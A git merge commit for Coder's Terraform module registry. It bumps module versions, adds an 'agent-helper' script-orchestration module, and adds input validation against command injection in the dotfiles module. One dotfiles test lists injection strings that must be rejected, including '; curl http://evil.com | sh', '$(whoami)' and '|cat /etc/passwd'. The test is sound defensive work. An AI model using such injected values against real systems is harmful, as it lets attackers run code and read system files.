Merge origin/main into fix/dotfiles-fish-compatibility

Resolve conflicts:
- Bump version to 1.3.1 (combining 1.2.4 fish fix with 1.3.0 upstream)
- Combine /bin/bash -c fish wrapper with POST_CLONE_SCRIPT support in coder_app
This commit is contained in:
blink-so[bot] 2026-02-24 22:05:06 +00:00
commit 83696cf201
38 changed files with 830 additions and 112 deletions

View File

@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
```tf ```tf
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0" version = "4.1.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = var.openai_api_key openai_api_key = var.openai_api_key
workdir = "/home/coder/project" workdir = "/home/coder/project"
@ -32,7 +32,7 @@ module "codex" {
module "codex" { module "codex" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0" version = "4.1.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = "..." openai_api_key = "..."
workdir = "/home/coder/project" workdir = "/home/coder/project"
@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
```tf ```tf
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0" version = "4.1.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
enable_aibridge = true enable_aibridge = true
@ -94,7 +94,7 @@ data "coder_task" "me" {}
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0" version = "4.1.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = "..." openai_api_key = "..."
ai_prompt = data.coder_task.me.prompt ai_prompt = data.coder_task.me.prompt
@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve
```tf ```tf
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0" version = "4.1.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = "..." openai_api_key = "..."
workdir = "/home/coder/project" workdir = "/home/coder/project"

View File

@ -131,7 +131,7 @@ variable "install_agentapi" {
variable "agentapi_version" { variable "agentapi_version" {
type = string type = string
description = "The version of AgentAPI to install." description = "The version of AgentAPI to install."
default = "v0.11.6" default = "v0.11.8"
} }
variable "codex_model" { variable "codex_model" {

View File

@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
A module that adds Nextflow to your Coder template. A module that adds Nextflow to your Coder template.
![Nextflow](../../.images/nextflow.png)
```tf ```tf
module "nextflow" { module "nextflow" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count

View File

@ -0,0 +1,65 @@
---
display_name: Agent Helper
description: Building block for modules that need orchestrated script execution
icon: ../../../../.icons/coder.svg
verified: false
tags: [internal, library]
---
# Agent Helper
> [!CAUTION]
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
> [!NOTE]
>
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
```tf
module "agent_helper" {
source = "registry.coder.com/coder/agent-helper/coder"
version = "1.0.0"
agent_id = coder_agent.main.id
agent_name = "myagent"
module_dir_name = ".my-module"
pre_install_script = <<-EOT
#!/bin/bash
echo "Running pre-install tasks..."
# Your pre-install logic here
EOT
install_script = <<-EOT
#!/bin/bash
echo "Installing dependencies..."
# Your install logic here
EOT
post_install_script = <<-EOT
#!/bin/bash
echo "Running post-install configuration..."
# Your post-install logic here
EOT
start_script = <<-EOT
#!/bin/bash
echo "Starting the application..."
# Your start logic here
EOT
}
```
## Execution Order
The module orchestrates scripts in the following order:
1. **Log File Creation** - Creates module directory and log files
2. **Pre-Install Script** (optional) - Runs before installation
3. **Install Script** - Main installation
4. **Post-Install Script** (optional) - Runs after installation
5. **Start Script** - Starts the application
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.

View File

@ -0,0 +1,13 @@
import { describe } from "bun:test";
import { runTerraformInit, testRequiredVariables } from "~test";
describe("agent-helper", async () => {
await runTerraformInit(import.meta.dir);
testRequiredVariables(import.meta.dir, {
agent_id: "test-agent-id",
agent_name: "test-agent",
module_dir_name: ".test-module",
start_script: "echo 'start'",
});
});

View File

@ -0,0 +1,190 @@
terraform {
required_version = ">= 1.0"
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.13"
}
}
}
variable "agent_id" {
type = string
description = "The ID of a Coder agent."
}
data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_task" "me" {}
variable "pre_install_script" {
type = string
description = "Custom script to run before installing the agent used by AgentAPI."
default = null
}
variable "install_script" {
type = string
description = "Script to install the agent used by AgentAPI."
default = null
}
variable "post_install_script" {
type = string
description = "Custom script to run after installing the agent used by AgentAPI."
default = null
}
variable "start_script" {
type = string
description = "Script that starts AgentAPI."
}
variable "agent_name" {
type = string
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
}
variable "module_dir_name" {
type = string
description = "The name of the module directory."
}
locals {
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
encoded_start_script = base64encode(var.start_script)
pre_install_script_name = "${var.agent_name}-pre_install_script"
install_script_name = "${var.agent_name}-install_script"
post_install_script_name = "${var.agent_name}-post_install_script"
start_script_name = "${var.agent_name}-start_script"
module_dir_path = "$HOME/${var.module_dir_name}"
pre_install_path = "${local.module_dir_path}/pre_install.sh"
install_path = "${local.module_dir_path}/install.sh"
post_install_path = "${local.module_dir_path}/post_install.sh"
start_path = "${local.module_dir_path}/start.sh"
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
install_log_path = "${local.module_dir_path}/install.log"
post_install_log_path = "${local.module_dir_path}/post_install.log"
start_log_path = "${local.module_dir_path}/start.log"
}
resource "coder_script" "pre_install_script" {
count = var.pre_install_script == null ? 0 : 1
agent_id = var.agent_id
display_name = "Pre-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
coder exp sync start ${local.pre_install_script_name}
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
chmod +x ${local.pre_install_path}
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
EOT
}
resource "coder_script" "install_script" {
agent_id = var.agent_id
display_name = "Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.install_script_name}' EXIT
%{if var.pre_install_script != null~}
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
%{endif~}
coder exp sync start ${local.install_script_name}
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
chmod +x ${local.install_path}
${local.install_path} > ${local.install_log_path} 2>&1
EOT
}
resource "coder_script" "post_install_script" {
count = var.post_install_script != null ? 1 : 0
agent_id = var.agent_id
display_name = "Post-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
coder exp sync start ${local.post_install_script_name}
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
chmod +x ${local.post_install_path}
${local.post_install_path} > ${local.post_install_log_path} 2>&1
EOT
}
resource "coder_script" "start_script" {
agent_id = var.agent_id
display_name = "Start Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.start_script_name}' EXIT
%{if var.post_install_script != null~}
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
%{else~}
coder exp sync want ${local.start_script_name} ${local.install_script_name}
%{endif~}
coder exp sync start ${local.start_script_name}
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
chmod +x ${local.start_path}
${local.start_path} > ${local.start_log_path} 2>&1
EOT
}
output "pre_install_script_name" {
description = "The name of the pre-install script for sync."
value = local.pre_install_script_name
}
output "install_script_name" {
description = "The name of the install script for sync."
value = local.install_script_name
}
output "post_install_script_name" {
description = "The name of the post-install script for sync."
value = local.post_install_script_name
}
output "start_script_name" {
description = "The name of the start script for sync."
value = local.start_script_name
}

View File

@ -0,0 +1,271 @@
# Test for agent-helper module
# Test with all scripts provided
run "test_with_all_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
pre_install_script = "echo 'pre-install'"
install_script = "echo 'install'"
post_install_script = "echo 'post-install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is created when provided
assert {
condition = length(coder_script.pre_install_script) == 1
error_message = "Pre-install script should be created when pre_install_script is provided"
}
assert {
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
error_message = "Pre-install script agent ID should match input"
}
assert {
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
error_message = "Pre-install script should have correct display name"
}
assert {
condition = coder_script.pre_install_script[0].run_on_start == true
error_message = "Pre-install script should run on start"
}
# Verify install_script is created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script agent ID should match input"
}
assert {
condition = coder_script.install_script.display_name == "Install Script"
error_message = "Install script should have correct display name"
}
assert {
condition = coder_script.install_script.run_on_start == true
error_message = "Install script should run on start"
}
# Verify post_install_script is created when provided
assert {
condition = length(coder_script.post_install_script) == 1
error_message = "Post-install script should be created when post_install_script is provided"
}
assert {
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
error_message = "Post-install script agent ID should match input"
}
assert {
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
error_message = "Post-install script should have correct display name"
}
assert {
condition = coder_script.post_install_script[0].run_on_start == true
error_message = "Post-install script should run on start"
}
# Verify start_script is created
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script agent ID should match input"
}
assert {
condition = coder_script.start_script.display_name == "Start Script"
error_message = "Start script should have correct display name"
}
assert {
condition = coder_script.start_script.run_on_start == true
error_message = "Start script should run on start"
}
# Verify outputs for script names
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be correctly formatted"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be correctly formatted"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with only required scripts (no pre/post install)
run "test_without_optional_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is NOT created when not provided
assert {
condition = length(coder_script.pre_install_script) == 0
error_message = "Pre-install script should not be created when pre_install_script is null"
}
# Verify post_install_script is NOT created when not provided
assert {
condition = length(coder_script.post_install_script) == 0
error_message = "Post-install script should not be created when post_install_script is null"
}
# Verify required scripts are still created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script should be created"
}
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script should be created"
}
# Verify outputs
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be generated even when script is not created"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be generated even when script is not created"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with mock data sources
run "test_with_mock_data" {
command = plan
variables {
agent_id = "mock-agent"
agent_name = "mock-agent"
module_dir_name = ".mock-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Mock the data sources for testing
override_data {
target = data.coder_workspace.me
values = {
id = "test-workspace-id"
name = "test-workspace"
owner = "test-owner"
owner_id = "test-owner-id"
template_id = "test-template-id"
template_name = "test-template"
access_url = "https://coder.example.com"
start_count = 1
transition = "start"
}
}
override_data {
target = data.coder_workspace_owner.me
values = {
id = "test-owner-id"
email = "test@example.com"
name = "Test User"
session_token = "mock-token"
}
}
override_data {
target = data.coder_task.me
values = {
id = "test-task-id"
}
}
# Verify scripts are created with mocked data
assert {
condition = coder_script.install_script.agent_id == "mock-agent"
error_message = "Install script should use the mocked agent ID"
}
assert {
condition = coder_script.start_script.agent_id == "mock-agent"
error_message = "Start script should use the mocked agent ID"
}
}
# Test script naming with custom agent_name
run "test_script_naming" {
command = plan
variables {
agent_id = "test-agent"
agent_name = "custom-name"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify script names are constructed correctly
# The script should contain references to custom-name-* in the sync commands
assert {
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
error_message = "Install script should use custom agent_name in sync commands"
}
assert {
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
error_message = "Start script should use custom agent_name in sync commands"
}
# Verify outputs use custom agent_name
assert {
condition = output.pre_install_script_name == "custom-name-pre_install_script"
error_message = "Pre-install script name output should use custom agent_name"
}
assert {
condition = output.install_script_name == "custom-name-install_script"
error_message = "Install script name output should use custom agent_name"
}
assert {
condition = output.post_install_script_name == "custom-name-post_install_script"
error_message = "Post-install script name output should use custom agent_name"
}
assert {
condition = output.start_script_name == "custom-name-start_script"
error_message = "Start script name output should use custom agent_name"
}
}

View File

@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
```tf ```tf
module "agentapi" { module "agentapi" {
source = "registry.coder.com/coder/agentapi/coder" source = "registry.coder.com/coder/agentapi/coder"
version = "2.1.0" version = "2.1.1"
agent_id = var.agent_id agent_id = var.agent_id
web_app_slug = local.app_slug web_app_slug = local.app_slug

View File

@ -3,20 +3,22 @@ set -o errexit
set -o pipefail set -o pipefail
port=${1:-3284} port=${1:-3284}
max_attempts=150
# This script waits for the agentapi server to start on port 3284. # This script waits for the agentapi server to start on the given port.
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
# It considers the server started after 3 consecutive successful responses. # It considers the server started after 3 consecutive successful responses.
agentapi_started=false agentapi_started=false
echo "Waiting for agentapi server to start on port $port..." echo "Waiting for agentapi server to start on port $port..."
for i in $(seq 1 150); do for i in $(seq 1 "$max_attempts"); do
for j in $(seq 1 3); do for j in $(seq 1 3); do
sleep 0.1 sleep 0.1
if curl -fs -o /dev/null "http://localhost:$port/status"; then if curl -fs -o /dev/null "http://localhost:$port/status"; then
echo "agentapi response received ($j/3)" echo "agentapi response received ($j/3)"
else else
echo "agentapi server not responding ($i/15)" echo "agentapi server not responding ($i/$max_attempts)"
continue 2 continue 2
fi fi
done done
@ -25,7 +27,7 @@ for i in $(seq 1 150); do
done done
if [ "$agentapi_started" != "true" ]; then if [ "$agentapi_started" != "true" ]; then
echo "Error: agentapi server did not start on port $port after 15 seconds." echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
exit 1 exit 1
fi fi

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "antigravity" { module "antigravity" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder" source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0" version = "1.0.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
``` ```
@ -29,7 +29,7 @@ module "antigravity" {
module "antigravity" { module "antigravity" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder" source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0" version = "1.0.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }
@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
module "antigravity" { module "antigravity" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder" source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0" version = "1.0.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
folder = "/home/coder/project" folder = "/home/coder/project"
mcp = jsonencode({ mcp = jsonencode({

View File

@ -66,15 +66,15 @@ locals {
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id
web_app_icon = "/icon/antigravity.svg" coder_app_icon = "/icon/antigravity.svg"
web_app_slug = var.slug coder_app_slug = var.slug
web_app_display_name = var.display_name coder_app_display_name = var.display_name
web_app_order = var.order coder_app_order = var.order
web_app_group = var.group coder_app_group = var.group
folder = var.folder folder = var.folder
open_recent = var.open_recent open_recent = var.open_recent

View File

@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}

View File

@ -3,7 +3,8 @@
set -euo pipefail set -euo pipefail
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "cursor" { module "cursor" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder" source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0" version = "1.4.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ module "cursor" {
module "cursor" { module "cursor" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder" source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0" version = "1.4.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }
@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
module "cursor" { module "cursor" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder" source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0" version = "1.4.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
mcp = jsonencode({ mcp = jsonencode({

View File

@ -66,7 +66,7 @@ locals {
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id

View File

@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
``` ```
@ -31,7 +31,7 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
``` ```
@ -42,7 +42,7 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
user = "root" user = "root"
} }
@ -54,14 +54,14 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
module "dotfiles-root" { module "dotfiles-root" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
user = "root" user = "root"
dotfiles_uri = module.dotfiles.dotfiles_uri dotfiles_uri = module.dotfiles.dotfiles_uri
@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4" version = "1.3.1"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
default_dotfiles_uri = "https://github.com/coder/dotfiles" default_dotfiles_uri = "https://github.com/coder/dotfiles"
} }

View File

@ -12,20 +12,47 @@ describe("dotfiles", async () => {
agent_id: "foo", agent_id: "foo",
}); });
it("default output", async () => { it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, { const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo", agent_id: "foo",
}); });
expect(state.outputs.dotfiles_uri.value).toBe(""); expect(state.outputs.dotfiles_uri.value).toBe("");
}); });
it("set a default dotfiles_uri", async () => { it("accepts valid git URL formats", async () => {
const default_dotfiles_uri = "foo"; const validUrls = [
const state = await runTerraformApply(import.meta.dir, { "https://github.com/coder/dotfiles",
agent_id: "foo", "https://github.com/coder/dotfiles.git",
default_dotfiles_uri, "git@github.com:coder/dotfiles.git",
}); "git://github.com/coder/dotfiles.git",
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); "ssh://git@github.com/coder/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
}); });
it("command uses bash for fish shell compatibility", async () => { it("command uses bash for fish shell compatibility", async () => {

View File

@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
type = string type = string
description = "The default dotfiles URI if the workspace user does not provide one" description = "The default dotfiles URI if the workspace user does not provide one"
default = "" default = ""
validation {
condition = (
var.default_dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
variable "dotfiles_uri" { variable "dotfiles_uri" {
type = string type = string
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
default = null
default = null validation {
condition = (
var.dotfiles_uri == null ||
var.dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
variable "user" { variable "user" {
type = string type = string
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
default = null default = null
validation {
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
error_message = "Must be a valid username without special characters."
}
} }
variable "coder_parameter_order" { variable "coder_parameter_order" {
@ -63,6 +84,12 @@ variable "manual_update" {
default = false default = false
} }
variable "post_clone_script" {
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
type = string
default = null
}
data "coder_parameter" "dotfiles_uri" { data "coder_parameter" "dotfiles_uri" {
count = var.dotfiles_uri == null ? 1 : 0 count = var.dotfiles_uri == null ? 1 : 0
type = "string" type = "string"
@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
description = var.description description = var.description
mutable = true mutable = true
icon = "/icon/dotfiles.svg" icon = "/icon/dotfiles.svg"
validation {
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
locals { locals {
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
user = var.user != null ? var.user : "" user = var.user != null ? var.user : ""
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
} }
resource "coder_script" "dotfiles" { resource "coder_script" "dotfiles" {
agent_id = var.agent_id agent_id = var.agent_id
script = templatefile("${path.module}/run.sh", { script = templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri, DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user DOTFILES_USER : local.user,
POST_CLONE_SCRIPT : local.encoded_post_clone_script
}) })
display_name = "Dotfiles" display_name = "Dotfiles"
icon = "/icon/dotfiles.svg" icon = "/icon/dotfiles.svg"
@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
group = var.group group = var.group
command = "/bin/bash -c \"$(echo ${base64encode(templatefile("${path.module}/run.sh", { command = "/bin/bash -c \"$(echo ${base64encode(templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri, DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user DOTFILES_USER : local.user,
POST_CLONE_SCRIPT : local.encoded_post_clone_script
}))} | base64 -d)\"" }))} | base64 -d)\""
} }

View File

@ -5,6 +5,19 @@ set -euo pipefail
DOTFILES_URI="${DOTFILES_URI}" DOTFILES_URI="${DOTFILES_URI}"
DOTFILES_USER="${DOTFILES_USER}" DOTFILES_USER="${DOTFILES_USER}"
# Validate DOTFILES_URI to prevent command injection (defense in depth)
if [ -n "$DOTFILES_URI" ]; then
# shellcheck disable=SC2250
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
exit 1
fi
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
exit 1
fi
fi
# shellcheck disable=SC2157 # shellcheck disable=SC2157
if [ -n "$${DOTFILES_URI// }" ]; then if [ -n "$${DOTFILES_URI// }" ]; then
if [ -z "$DOTFILES_USER" ]; then if [ -z "$DOTFILES_USER" ]; then
@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
